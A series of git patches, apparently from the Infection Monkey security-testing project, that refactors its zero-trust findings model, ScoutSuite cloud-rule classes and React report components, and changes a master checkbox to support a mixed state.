details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutSuiteFindingDetails], required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} @@ -54,7 +54,7 @@ class Finding(Document): temp_finding = Finding(test=test, status=status, details=detail_ref, - type=Finding._get_finding_type_by_details(detail_ref)) + finding_type=Finding._get_finding_type_by_details(detail_ref)) temp_finding.save() return temp_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/finding_service.py index 4d165da7e..618be9550 100644 --- a/monkey/monkey_island/cc/services/zero_trust/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/finding_service.py @@ -12,9 +12,9 @@ class FindingService: findings = list(Finding.objects) details = [] for i in range(len(findings)): - if findings[i].type == zero_trust_consts.MONKEY_FINDING: + if findings[i].finding_type == zero_trust_consts.MONKEY_FINDING: details = MonkeyDetailsService.fetch_details_for_display(findings[i].details.id) - elif findings[i].type == zero_trust_consts.SCOUTSUITE_FINDING: + elif findings[i].finding_type == zero_trust_consts.SCOUTSUITE_FINDING: details = findings[i].details.fetch().to_mongo() findings[i] = findings[i].to_mongo() findings[i] = FindingService.get_enriched_finding(findings[i]) @@ -30,6 +30,6 @@ class FindingService: 'test_key': finding['test'], 'pillars': test_info[zero_trust_consts.PILLARS_KEY], 'status': finding['status'], - 'type': finding['type'] + 'finding_type': finding['finding_type'] } return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py index 6f8e64e87..8424e61c9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py @@ -12,7 +12,7 @@ class ScoutSuiteFindingService: @staticmethod # TODO add type hinting like finding: Union[SCOUTSUITE_FINDINGS]? def process_rule(finding, rule: ScoutSuiteRule): - existing_findings = Finding.objects(test=finding.test, type=zero_trust_consts.SCOUTSUITE_FINDING) + existing_findings = Finding.objects(test=finding.test, finding_type=zero_trust_consts.SCOUTSUITE_FINDING) assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) if len(existing_findings) == 0: diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 1c908665a..ada0e08ba 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -22,10 +22,10 @@ export class FindingsTable extends Component { { Header: 'Details', id: 'details', accessor: x => { - if (x.type === 'scoutsuite_finding') { + if (x.finding_type === 'scoutsuite_finding') { return ; - } else if (x.type === 'monkey_finding') { + } else if (x.finding_type === 'monkey_finding') { return Date: Mon, 11 Jan 2021 11:44:47 +0200 Subject: [PATCH 098/466] Added scoutsuite package requirements to agent requirements.txt --- monkey/infection_monkey/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index c9633b555..8df4c7403 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ pymssql<3.0 pypykatz==0.3.12 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' +ScoutSuite From 737e6bce3dbc048c69249f79ced8b9affb03a388 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 11 Jan 2021 11:45:25 +0200 Subject: [PATCH 099/466] Renamed rule_parsing.py to rule_parser.py, to match the classname --- .../cc/services/telemetry/processing/scoutsuite.py | 2 +- .../scoutsuite/data_parsing/{rule_parsing.py => rule_parser.py} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/{rule_parsing.py => rule_parser.py} (100%) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 0bc962926..8bbfb2a23 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -3,7 +3,7 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings_list import SCOUTSUITE_FINDINGS -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parsing import RuleParser +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_finding_service import ScoutSuiteFindingService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py From 789c58f0acb470c34fefe947c32ca3439d3e1e8e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 11 Jan 2021 13:40:46 +0200 Subject: [PATCH 100/466] Refactored ScoutSuite finding classes to have ABC --- .../cc/models/zero_trust/finding.py | 16 ++++++----- .../zero_trust/scoutsuite/consts/findings.py | 28 ++++++++++++++----- .../scoutsuite/consts/findings_list.py | 14 +++++----- .../scoutsuite/scoutsuite_finding_service.py | 6 ++-- 4 files changed, 40 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 7a6b924c8..4b3093545 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -2,6 +2,8 @@ """ Define a Document Schema for Zero Trust findings. """ + +from __future__ import annotations from typing import Union from mongoengine import Document, GenericLazyReferenceField, StringField @@ -50,13 +52,13 @@ class Finding(Document): @staticmethod def save_finding(test: str, status: str, - detail_ref: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]): - temp_finding = Finding(test=test, - status=status, - details=detail_ref, - finding_type=Finding._get_finding_type_by_details(detail_ref)) - temp_finding.save() - return temp_finding + detail_ref: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]) -> Finding: + finding = Finding(test=test, + status=status, + details=detail_ref, + finding_type=Finding._get_finding_type_by_details(detail_ref)) + finding.save() + return finding @staticmethod def _get_finding_type_by_details(details: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]) -> str: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py index 2ec8f6182..7fa96544b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py @@ -1,3 +1,5 @@ +from abc import ABC, abstractmethod + from common.common_consts import zero_trust_consts from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules @@ -16,7 +18,19 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules -class PERMISSIVE_FIREWALL_RULES: +class ScoutSuiteFinding(ABC): + @property + @abstractmethod + def rules(self): + pass + + @property + @abstractmethod + def test(self): + pass + + +class PermissiveFirewallRules(ScoutSuiteFinding): rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, @@ -41,7 +55,7 @@ class PERMISSIVE_FIREWALL_RULES: test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES -class UNENCRYPTED_DATA: +class UnencryptedData(ScoutSuiteFinding): rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY, @@ -54,7 +68,7 @@ class UNENCRYPTED_DATA: test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA -class DATA_LOSS_PREVENTION: +class DataLossPrevention(ScoutSuiteFinding): rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING, ELBv2Rules.ELBV2_NO_DELETION_PROTECTION] @@ -62,7 +76,7 @@ class DATA_LOSS_PREVENTION: test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION -class SECURE_AUTHENTICATION: +class SecureAuthentication(ScoutSuiteFinding): rules = [ IAMRules.IAM_USER_NO_ACTIVE_KEY_ROTATION, IAMRules.IAM_PASSWORD_POLICY_MINIMUM_LENGTH, @@ -80,7 +94,7 @@ class SECURE_AUTHENTICATION: test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION -class RESTRICTIVE_POLICIES: +class RestrictivePolicies(ScoutSuiteFinding): rules = [ IAMRules.IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL, IAMRules.IAM_EC2_ROLE_WITHOUT_INSTANCES, @@ -142,7 +156,7 @@ class RESTRICTIVE_POLICIES: test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES -class LOGGING: +class Logging(ScoutSuiteFinding): rules = [ CloudTrailRules.CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING, CloudTrailRules.CLOUDTRAIL_NO_DATA_LOGGING, @@ -162,7 +176,7 @@ class LOGGING: test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING -class SERVICE_SECURITY: +class ServiceSecurity(ScoutSuiteFinding): rules = [ CloudformationRules.CLOUDFORMATION_STACK_WITH_ROLE, ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py index 7f7a42c5e..72a4cb47a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py @@ -1,8 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import (DATA_LOSS_PREVENTION, LOGGING, - PERMISSIVE_FIREWALL_RULES, - RESTRICTIVE_POLICIES, - SECURE_AUTHENTICATION, SERVICE_SECURITY, - UNENCRYPTED_DATA) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import (DataLossPrevention, Logging, + PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, ServiceSecurity, + UnencryptedData) -SCOUTSUITE_FINDINGS = [PERMISSIVE_FIREWALL_RULES, UNENCRYPTED_DATA, DATA_LOSS_PREVENTION, SECURE_AUTHENTICATION, - RESTRICTIVE_POLICIES, LOGGING, SERVICE_SECURITY] +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, + RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py index 8424e61c9..eff9e64b0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py @@ -4,14 +4,14 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService class ScoutSuiteFindingService: @staticmethod - # TODO add type hinting like finding: Union[SCOUTSUITE_FINDINGS]? - def process_rule(finding, rule: ScoutSuiteRule): + def process_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): existing_findings = Finding.objects(test=finding.test, finding_type=zero_trust_consts.SCOUTSUITE_FINDING) assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test) @@ -21,7 +21,7 @@ class ScoutSuiteFindingService: ScoutSuiteFindingService.add_rule(existing_findings[0], rule) @staticmethod - def create_new_finding_from_rule(finding, rule: ScoutSuiteRule): + def create_new_finding_from_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): details = ScoutSuiteFindingDetails() details.scoutsuite_rules = [rule] details.save() From d9a5289c8de503862a3eb986fe651d63b73e1361 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 12 Jan 2021 09:45:44 +0200 Subject: [PATCH 101/466] Minor FindingsTable.js readability refactoring --- .../zerotrust/FindingsTable.js | 42 ++++++++++--------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index ada0e08ba..d7a86c9f9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -21,30 +21,13 @@ export class FindingsTable extends Component { { Header: 'Details', id: 'details', - accessor: x => { - if (x.finding_type === 'scoutsuite_finding') { - return ; - } else if (x.finding_type === 'monkey_finding') { - return ; - } - }, + accessor: x => this.getFindingDetails(x), maxWidth: EVENTS_COLUMN_MAX_WIDTH }, { Header: 'Pillars', id: 'pillars', - accessor: x => { - const pillars = x.pillars; - const pillarLabels = pillars.map((pillar) => - - ); - return
{pillarLabels}
; - }, + accessor: x => this.getFindingPillars(x), maxWidth: PILLARS_COLUMN_MAX_WIDTH, style: {'whiteSpace': 'unset'} } @@ -52,6 +35,27 @@ export class FindingsTable extends Component { } ]; + getFindingDetails(finding) { + if (finding.finding_type === 'scoutsuite_finding') { + return ; + } else if (finding.finding_type === 'monkey_finding') { + return ; + } + } + + getFindingPillars(finding) { + const pillars = finding.pillars; + const pillarLabels = pillars.map((pillar) => + + ); + return
{pillarLabels}
; + } + render() { return

{ From 1472382387ea967166c3fdea9d09d1315b33806f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 12 Jan 2021 10:42:21 +0200 Subject: [PATCH 102/466] Fixed react warnings related to keys and
in

--- .../zerotrust/scoutsuite/ResourceDropdown.js | 2 +- .../zerotrust/scoutsuite/RuleDisplay.js | 11 +++++++---- .../zerotrust/scoutsuite/ScoutSuiteRuleModal.js | 5 +++-- .../scoutsuite/ScoutSuiteSingleRuleDropdown.js | 2 +- 4 files changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js index 5149219d7..001aa4ef7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js @@ -43,7 +43,7 @@ export default function ResourceDropdown(props) { for (let i = 0; i < path_vars.length; i++) { display_path.push(path_vars[i]) if (i !== path_vars.length - 1) { - display_path.push() + display_path.push() } } return display_path; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js index b2ba34c79..ddd9968bb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js @@ -31,7 +31,8 @@ export default function RuleDisplay(props) { references.push({reference}) + rel="noopener noreferrer" + key={reference}>{reference}) }) return (

@@ -42,13 +43,15 @@ export default function RuleDisplay(props) { function getResources() { let resources = [] - props.rule.items.forEach(item => { + for (let i = 0; i < props.rule.items.length; i++) { + let item = props.rule.items[i]; let template_path = Object.prototype.hasOwnProperty.call(props.rule, 'display_path') ? props.rule.display_path : props.rule.path; resources.push() - }) + scoutsuite_data={props.scoutsuite_data} + key={template_path+i}/>) + } return (

Resources:

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js index 05058ef8f..926d52b9a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js @@ -51,7 +51,8 @@ export default function ScoutSuiteRuleModal(props) { let dropdown = ( toggleRuleDropdown(rule.description)} rule={rule} - scoutsuite_data={props.scoutsuite_data}/>) + scoutsuite_data={props.scoutsuite_data} + key={rule.description+rule.path}/>) dropdowns.push(dropdown) }); return dropdowns; @@ -67,7 +68,7 @@ export default function ScoutSuiteRuleModal(props) {

There {Pluralize('is', props.scoutsuite_rules.length)} { -

{props.scoutsuite_rules.length}
+ {props.scoutsuite_rules.length} } ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding.

{renderRuleDropdowns()} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js index 3500ffe20..72853a1e0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js @@ -15,7 +15,7 @@ export default function ScoutSuiteSingleRuleDropdown(props) { function getRuleCollapse() { return ( -
-
-

Resources flagged:

-

{props.rule.flagged_items}

-
{props.rule.references.length !== 0 ? getReferences() : ''} {props.rule.items.length !== 0 ? getResources() : ''}
); @@ -54,7 +50,7 @@ export default function RuleDisplay(props) { } return (
-

Resources:

+

Flagged resources ({props.rule.flagged_items}):

{resources}
) } From 7e0748980792def5ab97bec3fe6ab72f327cfa4a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 12 Jan 2021 12:40:45 +0200 Subject: [PATCH 104/466] Moved rule parsing methods into a separate component, added more details about rules in rule overview: added how many failed/passed/uncheck rules there are for a finding. --- .../scoutsuite/ScoutSuiteRuleModal.js | 74 +++++++++++-------- .../ScoutSuiteSingleRuleDropdown.js | 14 +--- .../scoutsuite/rule-parsing/ParsingUtils.js | 47 ++++++++++++ 3 files changed, 90 insertions(+), 45 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js index 926d52b9a..b7f212278 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js @@ -2,9 +2,10 @@ import React, {useState} from 'react'; import {Modal} from 'react-bootstrap'; import * as PropTypes from 'prop-types'; import Pluralize from 'pluralize'; -import ScoutSuiteSingleRuleDropdown, {getRuleStatus} from './ScoutSuiteSingleRuleDropdown'; +import ScoutSuiteSingleRuleDropdown from './ScoutSuiteSingleRuleDropdown'; import '../../../../styles/components/scoutsuite/RuleModal.scss'; import STATUSES from '../../common/consts/StatusConsts'; +import {getRuleCountByStatus, sortRules} from './rule-parsing/ParsingUtils'; export default function ScoutSuiteRuleModal(props) { @@ -18,46 +19,54 @@ export default function ScoutSuiteRuleModal(props) { } } - function compareRules(firstRule, secondRule) { - let firstStatus = getRuleStatus(firstRule); - let secondStatus = getRuleStatus(secondRule); - return compareRuleStatuses(firstStatus, secondStatus); - } - - - function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { - if (ruleStatusOne === ruleStatusTwo) { - return 0; - } else if (ruleStatusOne === STATUSES.STATUS_FAILED) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_FAILED) { - return 1; - } else if (ruleStatusOne === STATUSES.STATUS_VERIFY) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_VERIFY) { - return 1; - } else if (ruleStatusOne === STATUSES.STATUS_PASSED) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_PASSED) { - return 1; - } - } - function renderRuleDropdowns() { let dropdowns = []; - let rules = props.scoutsuite_rules; - rules.sort(compareRules); + let rules = sortRules(props.scoutsuite_rules); rules.forEach(rule => { let dropdown = ( toggleRuleDropdown(rule.description)} rule={rule} scoutsuite_data={props.scoutsuite_data} - key={rule.description+rule.path}/>) + key={rule.description + rule.path}/>) dropdowns.push(dropdown) }); return dropdowns; } + function getGeneralRuleOverview() { + return <> + There {Pluralize('is', props.scoutsuite_rules.length)} +  {props.scoutsuite_rules.length} +  ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding. + + } + + function getFailedRuleOverview() { + let failedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_FAILED) + + + getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_VERIFY); + return <> +  {failedRuleCnt} +  failed security {Pluralize('rule', failedRuleCnt)}. + + } + + function getPassedRuleOverview() { + let passedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_PASSED); + return <> +  {passedRuleCnt} +  passed security {Pluralize('rule', passedRuleCnt)}. + + } + + function getUnexecutedRuleOverview() { + let unexecutedRuleCnt = getRuleCountByStatus(props.scoutsuite_rules, STATUSES.STATUS_UNEXECUTED); + return <> +  {unexecutedRuleCnt} +  {Pluralize('rule', unexecutedRuleCnt)} {Pluralize('was', unexecutedRuleCnt)} not + checked (no relevant resources for the rule). + + } + return (
props.hideCallback()} className={'scoutsuite-rule-modal'}> @@ -67,9 +76,10 @@ export default function ScoutSuiteRuleModal(props) {


- There {Pluralize('is', props.scoutsuite_rules.length)} { - {props.scoutsuite_rules.length} - } ScoutSuite {Pluralize('rule', props.scoutsuite_rules.length)} associated with this finding. + {getGeneralRuleOverview()} + {getFailedRuleOverview()} + {getPassedRuleOverview()} + {getUnexecutedRuleOverview()}

{renderRuleDropdowns()} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js index 72853a1e0..c396066b4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js @@ -6,10 +6,10 @@ import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown' import classNames from 'classnames'; import * as PropTypes from 'prop-types'; -import RULE_LEVELS from '../../common/consts/ScoutSuiteConsts/RuleLevels'; import STATUSES from '../../common/consts/StatusConsts'; import {faCheckCircle, faCircle, faExclamationCircle} from '@fortawesome/free-solid-svg-icons'; import RuleDisplay from './RuleDisplay'; +import {getRuleStatus} from './rule-parsing/ParsingUtils'; export default function ScoutSuiteSingleRuleDropdown(props) { @@ -70,18 +70,6 @@ export default function ScoutSuiteSingleRuleDropdown(props) { return getRuleCollapse(); } -export function getRuleStatus(rule) { - if (rule.checked_items === 0) { - return STATUSES.STATUS_UNEXECUTED - } else if (rule.items.length === 0) { - return STATUSES.STATUS_PASSED - } else if (rule.level === RULE_LEVELS.LEVEL_WARNING) { - return STATUSES.STATUS_VERIFY - } else { - return STATUSES.STATUS_FAILED - } -} - ScoutSuiteSingleRuleDropdown.propTypes = { isCollapseOpen: PropTypes.bool, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js new file mode 100644 index 000000000..5070797ab --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js @@ -0,0 +1,47 @@ +import STATUSES from '../../../common/consts/StatusConsts'; +import RULE_LEVELS from '../../../common/consts/ScoutSuiteConsts/RuleLevels'; + +export function getRuleStatus(rule) { + if (rule.checked_items === 0) { + return STATUSES.STATUS_UNEXECUTED + } else if (rule.items.length === 0) { + return STATUSES.STATUS_PASSED + } else if (rule.level === RULE_LEVELS.LEVEL_WARNING) { + return STATUSES.STATUS_VERIFY + } else { + return STATUSES.STATUS_FAILED + } +} + +export function getRuleCountByStatus(rules, status) { + return rules.filter(rule => getRuleStatus(rule) === status).length; +} + +export function sortRules(rules) { + rules.sort(compareRules); + return rules; +} + +function compareRules(firstRule, secondRule) { + let firstStatus = getRuleStatus(firstRule); + let secondStatus = getRuleStatus(secondRule); + return compareRuleStatuses(firstStatus, secondStatus); +} + +function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { + if (ruleStatusOne === ruleStatusTwo) { + return 0; + } else if (ruleStatusOne === STATUSES.STATUS_FAILED) { + return -1; + } else if (ruleStatusTwo === STATUSES.STATUS_FAILED) { + return 1; + } else if (ruleStatusOne === STATUSES.STATUS_VERIFY) { + return -1; + } else if (ruleStatusTwo === STATUSES.STATUS_VERIFY) { + return 1; + } else if (ruleStatusOne === STATUSES.STATUS_PASSED) { + return -1; + } else if (ruleStatusTwo === STATUSES.STATUS_PASSED) { + return 1; + } +} From 19bc09196f22e6c1f65e3fd9190c894c4d621a20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 11 Jan 2021 20:24:50 -0500 Subject: [PATCH 105/466] ui: Enable mixed-state behavior for master checkbox in AdavncedMultiSelect The AdvancedMultiSelect should adhere to some set of human interface guidelines. In the absence of a formal, agreed upon set of guidelines for Infection Monkey, this commit uses KDE's guidelines for checkboxes: https://hig.kde.org/components/editing/checkbox.html When child checkboxes are not all checked, the master checkbox displays a mixed-state icon, instead of a checked icon. Clicking the mixed-state icon checks all child checkboxes. Clicking an unchecked master checkbox also enables all child checkboxes. In the past, clicking an unchecked master checkbox checked only the *default* child checkboxes. While this may seem desirable so that unsafe exploits do not accidentally get selected by the user, it will confuse and frustrate users, as master/child checkboxes do not normally function this way. If there is concern that users may unknowingly select unsafe exploits/options, we should pop up a warning to inform the user when the config is saved/submitted. Issue #891 --- .../ui-components/AdvancedMultiSelect.js | 60 ++++++++++++++----- 1 file changed, 44 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 7507f234f..db759b013 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -2,6 +2,7 @@ import React from "react"; import {Card, Button, Form} from 'react-bootstrap'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faMinusSquare} from '@fortawesome/free-solid-svg-icons'; import {faSquare} from '@fortawesome/free-regular-svg-icons'; import {cloneDeep} from 'lodash'; @@ -9,6 +10,12 @@ import {getComponentHeight} from './utils/HeightCalculator'; import {resolveObjectPath} from './utils/ObjectPathResolver'; import InfoPane from './InfoPane'; +const MasterCheckboxState = { + NONE: 0, + MIXED: 1, + ALL: 2 +} + // Definitions passed to components only contains value and label, // custom fields like "info" or "links" must be pulled from registry object using this function @@ -40,12 +47,19 @@ function MasterCheckbox(props) { checkboxState } = props; + var newCheckboxIcon = faCheckSquare; + + if (checkboxState == MasterCheckboxState.NONE) + newCheckboxIcon = 